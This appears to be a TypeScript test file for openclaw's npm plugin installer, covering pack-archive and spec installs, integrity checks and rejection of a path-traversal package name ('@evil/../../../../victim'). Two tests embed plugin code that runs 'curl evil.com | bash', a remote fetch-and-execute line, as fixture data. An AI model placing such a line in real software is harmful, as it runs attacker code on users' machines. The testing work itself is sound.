mirror of
https://github.com/openclaw/openclaw.git
synced 2026-07-13 23:06:17 +00:00
2788 lines
91 KiB
TypeScript
2788 lines
91 KiB
TypeScript
// Covers npm spec parsing for plugin install inputs.
|
|
import fs from "node:fs";
|
|
import path from "node:path";
|
|
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
|
import {
|
|
expectIntegrityDriftRejected,
|
|
mockNpmViewMetadataResult,
|
|
} from "../test-utils/npm-spec-install-test-helpers.js";
|
|
import { resolvePluginNpmProjectDir } from "./install-paths.js";
|
|
import { createSuiteTempRootTracker } from "./test-helpers/fs-fixtures.js";
|
|
|
|
const runCommandWithTimeoutMock = vi.fn();
|
|
const resolveOpenClawPackageRootSyncMock = vi.fn();
|
|
|
|
vi.mock("../process/exec.js", () => ({
|
|
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
|
|
}));
|
|
|
|
vi.mock("../infra/openclaw-root.js", () => ({
|
|
resolveOpenClawPackageRootSync: (...args: unknown[]) =>
|
|
resolveOpenClawPackageRootSyncMock(...args),
|
|
}));
|
|
|
|
vi.resetModules();
|
|
|
|
const { installPluginFromNpmPackArchive, installPluginFromNpmSpec, PLUGIN_INSTALL_ERROR_CODE } =
|
|
await import("./install.js");
|
|
|
|
const suiteTempRootTracker = createSuiteTempRootTracker("openclaw-plugin-install-npm-spec");
|
|
let previousNpmGlobalConfig: string | undefined;
|
|
let npmGlobalConfigPath: string;
|
|
let npmPackArchiveInstallCase: {
|
|
archivePath: string;
|
|
calls: unknown[][];
|
|
dependencySpec: string | undefined;
|
|
npmRoot: string;
|
|
result: Awaited<ReturnType<typeof installPluginFromNpmPackArchive>>;
|
|
stagedArchiveContents: string;
|
|
};
|
|
let npmSpecInstallCase: {
|
|
calls: unknown[][];
|
|
dependencyInstalled: boolean;
|
|
npmRoot: string;
|
|
result: Awaited<ReturnType<typeof installPluginFromNpmSpec>>;
|
|
};
|
|
|
|
function successfulSpawn(stdout = "") {
|
|
return {
|
|
code: 0,
|
|
stdout,
|
|
stderr: "",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
|
|
function failedSpawn(stderr: string, stdout = "") {
|
|
return {
|
|
code: 1,
|
|
stdout,
|
|
stderr,
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
|
|
function npmViewArgv(spec: string): string[] {
|
|
return [
|
|
"npm",
|
|
"view",
|
|
spec,
|
|
"name",
|
|
"version",
|
|
"dist.integrity",
|
|
"dist.shasum",
|
|
"openclaw",
|
|
"--json",
|
|
];
|
|
}
|
|
|
|
function npmViewVersionsArgv(spec: string): string[] {
|
|
return ["npm", "view", spec, "versions", "--json"];
|
|
}
|
|
|
|
function npmPackArchiveMetadataArgv(archivePath: string): string[] {
|
|
return ["npm", "pack", archivePath, "--ignore-scripts", "--dry-run", "--json"];
|
|
}
|
|
|
|
function commandKey(argv: readonly string[]): string {
|
|
return argv.join("\0");
|
|
}
|
|
|
|
function resolveManagedFileDependency(npmRoot: string, dependencySpec: string): string | null {
|
|
if (!dependencySpec.startsWith("file:")) {
|
|
return null;
|
|
}
|
|
const rawPath = dependencySpec.slice("file:".length);
|
|
return path.isAbsolute(rawPath) ? rawPath : path.resolve(npmRoot, rawPath);
|
|
}
|
|
|
|
function isNpmInstallCommand(argv: unknown): argv is string[] {
|
|
return Array.isArray(argv) && argv[0] === "npm" && argv[1] === "install";
|
|
}
|
|
|
|
function isNpmPeerPlannerInstallCommand(argv: unknown): argv is string[] {
|
|
return isNpmInstallCommand(argv) && argv.includes("--package-lock-only");
|
|
}
|
|
|
|
function isManagedNpmInstallCommand(argv: unknown): argv is string[] {
|
|
return isNpmInstallCommand(argv) && !isNpmPeerPlannerInstallCommand(argv);
|
|
}
|
|
|
|
function expectNpmInstallIntoRoot(params: {
|
|
calls: unknown[][];
|
|
npmRoot: string;
|
|
expectedFreshnessBypass?: "before";
|
|
}) {
|
|
const installCalls = params.calls.filter((call) => isManagedNpmInstallCommand(call[0]));
|
|
expect(installCalls).toHaveLength(1);
|
|
const installOptions = installCalls[0]?.[1] as
|
|
| { cwd?: unknown; env?: Record<string, string | undefined> }
|
|
| undefined;
|
|
expect(installOptions?.cwd).toBe(params.npmRoot);
|
|
expect(installCalls[0]?.[0]).toEqual([
|
|
"npm",
|
|
"install",
|
|
"--omit=dev",
|
|
"--omit=peer",
|
|
"--legacy-peer-deps",
|
|
"--loglevel=error",
|
|
"--ignore-scripts",
|
|
"--no-audit",
|
|
"--no-fund",
|
|
]);
|
|
if (params.expectedFreshnessBypass === "before") {
|
|
expect(installOptions?.env?.npm_config_before).toBeTruthy();
|
|
expect(installOptions?.env?.npm_config_min_release_age).toBe("");
|
|
}
|
|
}
|
|
|
|
function expectNpmInstallIntoProject(params: {
|
|
calls: unknown[][];
|
|
npmRoot: string;
|
|
packageName: string;
|
|
}) {
|
|
expectNpmInstallIntoRoot({
|
|
calls: params.calls,
|
|
npmRoot: resolvePluginNpmProjectDir({
|
|
npmDir: params.npmRoot,
|
|
packageName: params.packageName,
|
|
}),
|
|
});
|
|
}
|
|
|
|
function resolveTestPluginPackageDir(npmRoot: string, packageName: string): string {
|
|
return path.join(
|
|
resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName,
|
|
}),
|
|
"node_modules",
|
|
...packageName.split("/"),
|
|
);
|
|
}
|
|
|
|
function writeInstalledNpmPlugin(params: {
|
|
npmRoot: string;
|
|
packageName: string;
|
|
version: string;
|
|
pluginId?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
openclaw?: Record<string, unknown>;
|
|
}) {
|
|
const pluginDir = path.join(params.npmRoot, "node_modules", params.packageName);
|
|
fs.mkdirSync(path.join(pluginDir, "dist"), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.packageName,
|
|
version: params.version,
|
|
openclaw: params.openclaw ?? { extensions: ["./dist/index.js"] },
|
|
...(params.dependency
|
|
? { dependencies: { [params.dependency.name]: params.dependency.version } }
|
|
: {}),
|
|
...(params.peerDependencies ? { peerDependencies: params.peerDependencies } : {}),
|
|
}),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "openclaw.plugin.json"),
|
|
JSON.stringify({
|
|
id: params.pluginId ?? params.packageName,
|
|
name: params.pluginId ?? params.packageName,
|
|
configSchema: { type: "object" },
|
|
}),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(pluginDir, "dist", "index.js"),
|
|
params.indexJs ?? "export {};",
|
|
"utf-8",
|
|
);
|
|
if (params.dependency) {
|
|
const depDir = path.join(pluginDir, "node_modules", params.dependency.name);
|
|
fs.mkdirSync(depDir, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(depDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.dependency.name,
|
|
version: params.dependency.version,
|
|
}),
|
|
"utf-8",
|
|
);
|
|
}
|
|
if (params.hoistedDependency) {
|
|
const depDir = path.join(params.npmRoot, "node_modules", params.hoistedDependency.name);
|
|
fs.mkdirSync(depDir, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(depDir, "package.json"),
|
|
JSON.stringify({
|
|
name: params.hoistedDependency.name,
|
|
version: params.hoistedDependency.version,
|
|
}),
|
|
"utf-8",
|
|
);
|
|
}
|
|
return pluginDir;
|
|
}
|
|
|
|
type MockNpmPackage = {
|
|
spec?: string;
|
|
packageName: string;
|
|
version: string;
|
|
npmRoot: string;
|
|
pluginId?: string;
|
|
integrity?: string;
|
|
shasum?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
openclaw?: Record<string, unknown>;
|
|
expectedDependencySpec?: string;
|
|
versions?: string[];
|
|
installedVersion?: string;
|
|
installedIntegrity?: string;
|
|
materializesRootOpenClaw?: boolean;
|
|
skipLockfileEntry?: boolean;
|
|
packArchivePath?: string;
|
|
packTarballName?: string;
|
|
};
|
|
|
|
function writeNpmRootPackageLock(params: {
|
|
npmRoot: string;
|
|
dependencies: Record<string, string>;
|
|
packages: MockNpmPackage[];
|
|
}) {
|
|
const lockPackages: Record<string, unknown> = {
|
|
"": {
|
|
dependencies: params.dependencies,
|
|
},
|
|
};
|
|
for (const pkg of params.packages) {
|
|
if (pkg.skipLockfileEntry) {
|
|
continue;
|
|
}
|
|
lockPackages[`node_modules/${pkg.packageName}`] = {
|
|
version: pkg.installedVersion ?? pkg.version,
|
|
integrity: pkg.installedIntegrity ?? pkg.integrity ?? "sha512-plugin-test",
|
|
};
|
|
if (pkg.materializesRootOpenClaw) {
|
|
lockPackages["node_modules/openclaw"] = {
|
|
peer: true,
|
|
version: "2026.5.3",
|
|
};
|
|
}
|
|
}
|
|
fs.writeFileSync(
|
|
path.join(params.npmRoot, "package-lock.json"),
|
|
`${JSON.stringify({ lockfileVersion: 3, packages: lockPackages }, null, 2)}\n`,
|
|
"utf-8",
|
|
);
|
|
}
|
|
|
|
function readTextFileTree(dir: string, rootDir = dir): Record<string, string> {
|
|
return Object.fromEntries(
|
|
fs.readdirSync(dir, { withFileTypes: true }).flatMap((entry) => {
|
|
const entryPath = path.join(dir, entry.name);
|
|
if (entry.isDirectory()) {
|
|
return Object.entries(readTextFileTree(entryPath, rootDir));
|
|
}
|
|
if (!entry.isFile()) {
|
|
return [];
|
|
}
|
|
return [[path.relative(rootDir, entryPath), fs.readFileSync(entryPath, "utf8")]];
|
|
}),
|
|
);
|
|
}
|
|
|
|
function prunePluginLocalOpenClawPeerLinks(npmRoot: string) {
|
|
const nodeModulesDir = path.join(npmRoot, "node_modules");
|
|
if (!fs.existsSync(nodeModulesDir)) {
|
|
return;
|
|
}
|
|
for (const entry of fs.readdirSync(nodeModulesDir, { withFileTypes: true })) {
|
|
if (!entry.isDirectory()) {
|
|
continue;
|
|
}
|
|
const entryPath = path.join(nodeModulesDir, entry.name);
|
|
const packageDirs = entry.name.startsWith("@")
|
|
? fs
|
|
.readdirSync(entryPath, { withFileTypes: true })
|
|
.filter((scopedEntry) => scopedEntry.isDirectory())
|
|
.map((scopedEntry) => path.join(entryPath, scopedEntry.name))
|
|
: [entryPath];
|
|
for (const packageDir of packageDirs) {
|
|
const packageNodeModulesDir = path.join(packageDir, "node_modules");
|
|
const packageNodeModules = fs.existsSync(packageNodeModulesDir)
|
|
? fs.lstatSync(packageNodeModulesDir)
|
|
: null;
|
|
if (packageNodeModules && !packageNodeModules.isDirectory()) {
|
|
continue;
|
|
}
|
|
fs.rmSync(path.join(packageNodeModulesDir, "openclaw"), {
|
|
recursive: true,
|
|
force: true,
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
function mockNpmViewAndInstall(params: {
|
|
spec: string;
|
|
packageName: string;
|
|
version: string;
|
|
npmRoot: string;
|
|
pluginId?: string;
|
|
integrity?: string;
|
|
shasum?: string;
|
|
indexJs?: string;
|
|
dependency?: { name: string; version: string };
|
|
hoistedDependency?: { name: string; version: string };
|
|
peerDependencies?: Record<string, string>;
|
|
openclaw?: Record<string, unknown>;
|
|
expectedDependencySpec?: string;
|
|
versions?: string[];
|
|
installedVersion?: string;
|
|
installedIntegrity?: string;
|
|
materializesRootOpenClaw?: boolean;
|
|
skipLockfileEntry?: boolean;
|
|
}) {
|
|
mockNpmViewAndInstallMany([params]);
|
|
}
|
|
|
|
function mockNpmViewAndInstallMany(packages: MockNpmPackage[]) {
|
|
const packagesByName = new Map(packages.map((pkg) => [pkg.packageName, pkg]));
|
|
const packPackagesByArgv = new Map(
|
|
packages
|
|
.filter((pkg) => pkg.packArchivePath)
|
|
.map((pkg) => [commandKey(npmPackArchiveMetadataArgv(pkg.packArchivePath ?? "")), pkg]),
|
|
);
|
|
const viewPackagesByArgv = new Map(
|
|
packages.filter((pkg) => pkg.spec).map((pkg) => [commandKey(npmViewArgv(pkg.spec ?? "")), pkg]),
|
|
);
|
|
const versionsPackagesByArgv = new Map(
|
|
packages
|
|
.filter((pkg) => pkg.versions)
|
|
.map((pkg) => [commandKey(npmViewVersionsArgv(pkg.packageName)), pkg]),
|
|
);
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
const argvKey = commandKey(argv);
|
|
const packPackage = packPackagesByArgv.get(argvKey);
|
|
if (packPackage) {
|
|
return successfulSpawn(
|
|
JSON.stringify([
|
|
{
|
|
id: `${packPackage.packageName}@${packPackage.version}`,
|
|
name: packPackage.packageName,
|
|
version: packPackage.version,
|
|
filename:
|
|
packPackage.packTarballName ??
|
|
`${packPackage.packageName.replace(/^@/, "").replace("/", "-")}-${packPackage.version}.tgz`,
|
|
integrity: packPackage.integrity ?? "sha512-plugin-test",
|
|
shasum: packPackage.shasum ?? "pluginshasum",
|
|
},
|
|
]),
|
|
);
|
|
}
|
|
const viewPackage = viewPackagesByArgv.get(argvKey);
|
|
if (viewPackage) {
|
|
return successfulSpawn(
|
|
JSON.stringify({
|
|
name: viewPackage.packageName,
|
|
version: viewPackage.version,
|
|
dist: {
|
|
integrity: viewPackage.integrity ?? "sha512-plugin-test",
|
|
shasum: viewPackage.shasum ?? "pluginshasum",
|
|
},
|
|
...(viewPackage.openclaw ? { openclaw: viewPackage.openclaw } : {}),
|
|
}),
|
|
);
|
|
}
|
|
const versionsPackage = versionsPackagesByArgv.get(argvKey);
|
|
if (versionsPackage) {
|
|
return successfulSpawn(
|
|
JSON.stringify(versionsPackage.versions ?? [versionsPackage.version]),
|
|
);
|
|
}
|
|
if (isNpmPeerPlannerInstallCommand(argv)) {
|
|
const npmRoot = options?.cwd;
|
|
if (!npmRoot) {
|
|
throw new Error(`unexpected npm peer planner command: ${argv.join(" ")}`);
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package.json"), "utf8"),
|
|
) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
writeNpmRootPackageLock({
|
|
npmRoot,
|
|
dependencies: manifest.dependencies ?? {},
|
|
packages: Object.keys(manifest.dependencies ?? {})
|
|
.map((packageName) => packagesByName.get(packageName))
|
|
.filter((pkg): pkg is MockNpmPackage => Boolean(pkg)),
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
if (isManagedNpmInstallCommand(argv)) {
|
|
const npmRoot = options?.cwd;
|
|
if (!npmRoot) {
|
|
throw new Error(`unexpected npm install command: ${(argv as string[]).join(" ")}`);
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package.json"), "utf8"),
|
|
) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
const installedPackages: MockNpmPackage[] = [];
|
|
prunePluginLocalOpenClawPeerLinks(npmRoot);
|
|
for (const packageName of Object.keys(manifest.dependencies ?? {})) {
|
|
if (packageName === "openclaw") {
|
|
const openclawRoot = path.join(npmRoot, "node_modules", "openclaw");
|
|
fs.mkdirSync(openclawRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(openclawRoot, "package.json"),
|
|
JSON.stringify({ name: "openclaw", version: "0.0.0-test" }),
|
|
"utf8",
|
|
);
|
|
continue;
|
|
}
|
|
const pkg = packagesByName.get(packageName);
|
|
if (!pkg) {
|
|
throw new Error(`unexpected managed npm dependency: ${packageName}`);
|
|
}
|
|
const dependencySpec = manifest.dependencies?.[packageName];
|
|
if (pkg.expectedDependencySpec && dependencySpec !== pkg.expectedDependencySpec) {
|
|
throw new Error(
|
|
`expected managed npm dependency ${packageName}@${pkg.expectedDependencySpec}, got ${dependencySpec ?? ""}`,
|
|
);
|
|
}
|
|
const fileDependencyPath = dependencySpec
|
|
? resolveManagedFileDependency(npmRoot, dependencySpec)
|
|
: null;
|
|
if (fileDependencyPath && !fs.existsSync(fileDependencyPath)) {
|
|
throw new Error(`missing managed npm file dependency: ${fileDependencyPath}`);
|
|
}
|
|
writeInstalledNpmPlugin({
|
|
...pkg,
|
|
npmRoot,
|
|
version: pkg.installedVersion ?? pkg.version,
|
|
});
|
|
if (pkg.materializesRootOpenClaw) {
|
|
const openclawRoot = path.join(npmRoot, "node_modules", "openclaw");
|
|
fs.mkdirSync(openclawRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(openclawRoot, "package.json"),
|
|
JSON.stringify({ name: "openclaw", version: "2026.5.3" }),
|
|
"utf8",
|
|
);
|
|
}
|
|
installedPackages.push(pkg);
|
|
}
|
|
writeNpmRootPackageLock({
|
|
npmRoot,
|
|
dependencies: manifest.dependencies ?? {},
|
|
packages: installedPackages,
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "uninstall") {
|
|
const packageName = (argv as string[]).at(-1);
|
|
if (packageName === "openclaw") {
|
|
const npmRoot = options?.cwd;
|
|
if (!npmRoot) {
|
|
throw new Error(`unexpected npm uninstall command: ${(argv as string[]).join(" ")}`);
|
|
}
|
|
fs.rmSync(path.join(npmRoot, "node_modules", "openclaw"), {
|
|
recursive: true,
|
|
force: true,
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
const pkg = packageName ? packagesByName.get(packageName) : undefined;
|
|
if (!pkg) {
|
|
throw new Error(`unexpected npm uninstall package: ${packageName ?? ""}`);
|
|
}
|
|
fs.rmSync(
|
|
path.join(options?.cwd ?? pkg.npmRoot, "node_modules", ...pkg.packageName.split("/")),
|
|
{
|
|
recursive: true,
|
|
force: true,
|
|
},
|
|
);
|
|
return successfulSpawn();
|
|
}
|
|
throw new Error(`unexpected command: ${(argv as string[]).join(" ")}`);
|
|
},
|
|
);
|
|
}
|
|
|
|
beforeAll(() => {
|
|
previousNpmGlobalConfig = process.env.NPM_CONFIG_GLOBALCONFIG;
|
|
npmGlobalConfigPath = path.join(suiteTempRootTracker.makeTempDir(), "global-npmrc");
|
|
fs.writeFileSync(npmGlobalConfigPath, "", "utf8");
|
|
process.env.NPM_CONFIG_GLOBALCONFIG = npmGlobalConfigPath;
|
|
});
|
|
|
|
afterAll(() => {
|
|
if (previousNpmGlobalConfig === undefined) {
|
|
delete process.env.NPM_CONFIG_GLOBALCONFIG;
|
|
} else {
|
|
process.env.NPM_CONFIG_GLOBALCONFIG = previousNpmGlobalConfig;
|
|
}
|
|
suiteTempRootTracker.cleanup();
|
|
});
|
|
|
|
beforeEach(() => {
|
|
runCommandWithTimeoutMock.mockReset();
|
|
resolveOpenClawPackageRootSyncMock.mockReset();
|
|
const hostRoot = suiteTempRootTracker.makeTempDir();
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "package.json"),
|
|
`${JSON.stringify({ name: "openclaw", version: "0.0.0-test" }, null, 2)}\n`,
|
|
"utf8",
|
|
);
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostRoot);
|
|
vi.unstubAllEnvs();
|
|
process.env.NPM_CONFIG_GLOBALCONFIG = npmGlobalConfigPath;
|
|
});
|
|
|
|
beforeAll(async () => {
|
|
runCommandWithTimeoutMock.mockReset();
|
|
resolveOpenClawPackageRootSyncMock.mockReset();
|
|
const hostRoot = suiteTempRootTracker.makeTempDir();
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "package.json"),
|
|
`${JSON.stringify({ name: "openclaw", version: "0.0.0-test" }, null, 2)}\n`,
|
|
"utf8",
|
|
);
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostRoot);
|
|
process.env.NPM_CONFIG_GLOBALCONFIG = npmGlobalConfigPath;
|
|
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const archivePath = path.join(stateDir, "openclaw-pack-demo-1.2.3.tgz");
|
|
fs.writeFileSync(archivePath, "fixture pack contents", "utf8");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
packageName: "@openclaw/pack-demo",
|
|
version: "1.2.3",
|
|
pluginId: "pack-demo",
|
|
npmRoot,
|
|
integrity: "sha512-pack-demo",
|
|
shasum: "packdemosha",
|
|
packArchivePath: archivePath,
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmPackArchive({
|
|
archivePath,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/pack-demo",
|
|
});
|
|
const managedManifest = JSON.parse(
|
|
await fs.promises.readFile(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
const dependencySpec = managedManifest.dependencies?.["@openclaw/pack-demo"];
|
|
const stagedArchivePath = dependencySpec
|
|
? resolveManagedFileDependency(npmProjectRoot, dependencySpec)
|
|
: null;
|
|
if (stagedArchivePath === null) {
|
|
throw new Error("expected staged archive path");
|
|
}
|
|
npmPackArchiveInstallCase = {
|
|
archivePath,
|
|
calls: [...runCommandWithTimeoutMock.mock.calls],
|
|
dependencySpec,
|
|
npmRoot,
|
|
result,
|
|
stagedArchiveContents: await fs.promises.readFile(stagedArchivePath, "utf8"),
|
|
};
|
|
});
|
|
|
|
beforeAll(async () => {
|
|
runCommandWithTimeoutMock.mockReset();
|
|
resolveOpenClawPackageRootSyncMock.mockReset();
|
|
const hostRoot = suiteTempRootTracker.makeTempDir();
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "package.json"),
|
|
`${JSON.stringify({ name: "openclaw", version: "0.0.0-test" }, null, 2)}\n`,
|
|
"utf8",
|
|
);
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostRoot);
|
|
process.env.NPM_CONFIG_GLOBALCONFIG = npmGlobalConfigPath;
|
|
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
dependency: { name: "is-number", version: "7.0.0" },
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
npmSpecInstallCase = {
|
|
calls: [...runCommandWithTimeoutMock.mock.calls],
|
|
dependencyInstalled:
|
|
result.ok &&
|
|
fs.existsSync(path.join(result.targetDir, "node_modules", "is-number", "package.json")),
|
|
npmRoot,
|
|
result,
|
|
};
|
|
});
|
|
|
|
describe("installPluginFromNpmSpec", () => {
|
|
it("installs npm pack archives through the managed npm root", async () => {
|
|
const { archivePath, calls, dependencySpec, npmRoot, result, stagedArchiveContents } =
|
|
npmPackArchiveInstallCase;
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.pluginId).toBe("pack-demo");
|
|
expect(result.targetDir).toBe(resolveTestPluginPackageDir(npmRoot, "@openclaw/pack-demo"));
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/pack-demo@1.2.3");
|
|
expect(result.npmResolution?.integrity).toBe("sha512-pack-demo");
|
|
expect(result.npmTarballName).toBe("openclaw-pack-demo-1.2.3.tgz");
|
|
expectNpmInstallIntoProject({
|
|
calls,
|
|
npmRoot,
|
|
packageName: "@openclaw/pack-demo",
|
|
});
|
|
expect(dependencySpec).toMatch(/^file:\.\/_openclaw-pack-archives\/.+\.tgz$/);
|
|
expect(dependencySpec).not.toContain(archivePath);
|
|
expect(stagedArchiveContents).toBe("fixture pack contents");
|
|
});
|
|
|
|
it("rejects npm pack archive metadata with traversal package names", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const victimDir = path.join(stateDir, "victim");
|
|
const archivePath = path.join(stateDir, "evil-pack-1.0.0.tgz");
|
|
fs.mkdirSync(victimDir, { recursive: true });
|
|
fs.writeFileSync(path.join(victimDir, "keep.txt"), "keep", "utf8");
|
|
fs.writeFileSync(archivePath, "fixture pack contents", "utf8");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
packageName: "@evil/../../../../victim",
|
|
version: "1.0.0",
|
|
npmRoot,
|
|
packArchivePath: archivePath,
|
|
},
|
|
]);
|
|
|
|
const result = await installPluginFromNpmPackArchive({
|
|
archivePath,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
mode: "update",
|
|
});
|
|
|
|
if (result.ok) {
|
|
throw new Error("expected traversal package metadata to be rejected");
|
|
}
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INVALID_NPM_SPEC);
|
|
expect(result.error).toContain("unsupported npm pack package name");
|
|
expect(fs.existsSync(path.join(victimDir, "keep.txt"))).toBe(true);
|
|
expect(fs.existsSync(path.join(npmRoot, "package.json"))).toBe(false);
|
|
expect(fs.existsSync(path.join(npmRoot, "_openclaw-pack-archives"))).toBe(false);
|
|
expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1);
|
|
});
|
|
|
|
it("updates staged npm pack archives when dangerous-looking code is present", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const packageName = "@openclaw/pack-demo";
|
|
const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz");
|
|
const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");
|
|
fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8");
|
|
fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
packageName,
|
|
version: "1.0.0",
|
|
pluginId: "pack-demo",
|
|
npmRoot,
|
|
integrity: "sha512-pack-demo-v1",
|
|
shasum: "packdemoshav1",
|
|
packArchivePath: archiveV1Path,
|
|
indexJs: "export const ok = true;",
|
|
},
|
|
]);
|
|
|
|
const safeInstall = await installPluginFromNpmPackArchive({
|
|
archivePath: archiveV1Path,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(safeInstall.ok).toBe(true);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName,
|
|
});
|
|
const projectBefore = readTextFileTree(npmProjectRoot);
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
packageName,
|
|
version: "2.0.0",
|
|
pluginId: "pack-demo",
|
|
npmRoot,
|
|
integrity: "sha512-pack-demo-v2",
|
|
shasum: "packdemoshav2",
|
|
packArchivePath: archiveV2Path,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
},
|
|
]);
|
|
|
|
const update = await installPluginFromNpmPackArchive({
|
|
archivePath: archiveV2Path,
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(update.ok).toBe(true);
|
|
if (!update.ok) {
|
|
return;
|
|
}
|
|
expect(readTextFileTree(npmProjectRoot)).not.toEqual(projectBefore);
|
|
});
|
|
|
|
it("installs staged npm pack archives with dangerous-looking code", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const packageName = "@openclaw/pack-demo";
|
|
const archivePath = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz");
|
|
fs.writeFileSync(archivePath, "v2 pack contents", "utf8");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
packageName,
|
|
version: "2.0.0",
|
|
pluginId: "pack-demo",
|
|
npmRoot,
|
|
integrity: "sha512-pack-demo-v2",
|
|
shasum: "packdemoshav2",
|
|
packArchivePath: archivePath,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
},
|
|
]);
|
|
|
|
const install = await installPluginFromNpmPackArchive({
|
|
archivePath,
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(install.ok).toBe(true);
|
|
if (!install.ok) {
|
|
return;
|
|
}
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName,
|
|
});
|
|
expect(fs.existsSync(path.join(npmProjectRoot, "package.json"))).toBe(true);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, packageName))).toBe(true);
|
|
});
|
|
|
|
it("installs npm plugins into .openclaw/npm", async () => {
|
|
const { calls, dependencyInstalled, npmRoot, result } = npmSpecInstallCase;
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.pluginId).toBe("voice-call");
|
|
expect(result.targetDir).toBe(resolveTestPluginPackageDir(npmRoot, "@openclaw/voice-call"));
|
|
expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1");
|
|
expect(result.npmResolution?.integrity).toBe("sha512-plugin-test");
|
|
expect(dependencyInstalled).toBe(true);
|
|
expectNpmInstallIntoProject({
|
|
calls,
|
|
npmRoot,
|
|
packageName: "@openclaw/voice-call",
|
|
});
|
|
